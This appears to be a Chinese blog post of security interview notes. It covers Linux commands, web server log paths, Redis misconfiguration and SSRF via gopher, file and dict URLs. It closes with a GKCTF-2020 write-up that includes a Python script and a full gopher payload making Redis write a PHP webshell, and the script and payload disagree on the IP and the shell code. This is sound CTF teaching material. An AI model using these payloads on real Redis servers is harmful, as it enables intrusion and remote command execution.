Redhat、Ubuntu、CentOS、SuSE、Gentoo、Debian、Fedora、
最近hw面试问到的问题,特地整理一下。

Find命令

面试里面问我怎么用find命令找nginx的日志文件(先问的我nginx的日志文件叫啥。。我不知道。。尴尬)然后提示我是.log结尾,然后我就说了
find / -name “.log” 没想到害蒙对了… 准确的表述应该是 find /var/log/nginx -name “.log”
这里说一下find命令的一些用法。
-exec/-ok都是执行命令,不过-ok会先给出提示,让用户确定是否执行。
find . -perm 777 -exec ls -l {} ;
-perm 是按照权限进行查找
比如 find / -perm 777

Linux权限

顺便说一下Linux权限问题
RWX read-write-execute对应权值为4-2-1
所以chmod 777的意思就是说给所有的用户可读可写可执行的权限(危险
每个7分别对应User、Group、Other的权限。

Apche、Nginx、IIS日志

Apache:
centos配置文件:/etc/httpd/conf/httpd.conf
Ubuntu配置文件:/etc/apache2/apache2.conf
日志文件的配置在httpd.conf中。
apache日志记录了客户端ip、时间、方法、请求资源、status code、content length等信息。
Windows平台的日志位置默认在apache/logs/access.log error.log
在基于Debian的Linux上(Ubuntu),系统范围的Apache错误日志默认位置是/var/log/apache2/error.log
在基于 Red Hat 的Linux中(centos),系统范围的 Apache 错误日志文件默认被放置在/var/log/httpd/error_log
Nginx:
Windows:logs/access.log
Linux:/var/log/nginx/access.log
默认配置文件:/etc/nginx/nginx.conf
IIS:
IIS6 默认情况下 IIS日志文件目录 为 C:\windows\system32\LogFiles
IIS7.5 默认情况下IIS日志目录为 “%SystemDrive%\inetpub\logs\LogFiles” 其中%SystemDrive% 表示系统安装位置,一般指 C: 盘,点击“浏览”按钮可自定义存放IIS日志目录。

什么是Redis

Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、 Key-Value数据库。和Memcached类似,它支持存储的value 类型相对更多,包括 string(字符串)、list ( 链表)、 set(集合)、zset(sorted set – 有序集合)和 hash(哈希类型)。这些数据类型都支持push/pop 、 add/remove 及取交集并集和差集及更丰富的操作,而且这些操作都是原子性的。在此基础上, redis支持各种不同方式的排序。与 memcached 一样,为了保证效率,数据都是缓存在内存中。区别的是 redis 会周期性的把更新的数据写入磁盘或者把修改操作写入追加的记录文件,并且在此基础上实现了 master-slave ( 主从)同步。

Redis漏洞

Redis会因为配置不当而产生漏洞。
Redis默认监听端口为 0.0.0.0:6379,默认没有设置密码认证,这意味着redis服务器暴漏在公网并且可以被操作。
Redis未授权漏洞利用情况有如下几种
1.敏感数据泄露
2.写shell
3.把公钥写入authorized_keys,可以登录主机。(需要Redis以root权限运行)
4.contrab反弹shell

Redis漏洞利用

对于未授权访问的情况,可以获取到Redis服务器ip后在本地远程连接Redis服务器,也可以构造数据包向Redis服务器发送恶意代码。

SSRF与各种协议

SSRF全程为 Server-Side-Request-Forgery 服务器端请求伪造,即为通过服务器对内网资源进行一些请求,可以进行文件读取,内网扫描、主机探测、漏洞利用等活动。

Gopher协议

Gopher是Internet上一个非常有名的信息查找系统,它将Internet上的文件组织成某种索引,很方便地将用户从Internet的一处带到另一处。在WWW出现之前,Gopher是Internet上最主要的信息检索工具,Gopher站点也是最主要的站点,使用tcp70端口。但在WWW出现后,Gopher失去了昔日的辉煌。现在它基本过时,人们很少再使用它。
gopher协议支持发出GET、POST请求:可以先截获get请求包和post请求包,再构成符合gopher协议的请求。gopher协议是ssrf利用中最强大的协议
gopher协议格式:URL: gopher://:/_UrlEncodedTCPStream

file协议

curl支持file协议,可以通过file协议LFI。file:///etc/passwd

dict协议

curl支持dict协议,可以通过dict协议探测服务信息。
curl dict://127.0.0.1:22

例题

GKCTF-2020 EasyWeb
这道题拿到手没啥思路 看到源码提示了secret之后发现是ifconfig
然后就使用burp扫一下内网,发现一台173.187.36.11这台服务器的报错是redis的报错。
然后爆破扫一下端口,发现是默认的6379。
接下来考虑SSRF打内网未授权Redis。
EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import urllib
protocol="gopher://"
ip="173.216.189.11"
port="6379"
shell="\n\n<?php system(\"cat /flag\");?>\n\n"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="\r\n"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd

if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload

替换url和payload即可
生成payload为

1
gopher://173.187.36.11:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2431%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_GET%5B%22cmd%22%5D%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A

然后访问http://redis_ip/shell.php即可getflag

参考链接

https://www.redteaming.top/2019/07/15/%E6%B5%85%E6%9E%90Redis%E4%B8%ADSSRF%E7%9A%84%E5%88%A9%E7%94%A8/
https://www.gem-love.com/ctf/2361.html#EZ%E4%B8%89%E5%89%91%E5%AE%A2EzNode
https://zhuanlan.zhihu.com/p/112055947
https://www.freebuf.com/column/158065.html
https://www.freebuf.com/vuls/162035.html
https://www.smi1e.top/gopher-ssrf%E6%94%BB%E5%87%BB%E5%86%85%E7%BD%91%E5%BA%94%E7%94%A8%E5%A4%8D%E7%8E%B0/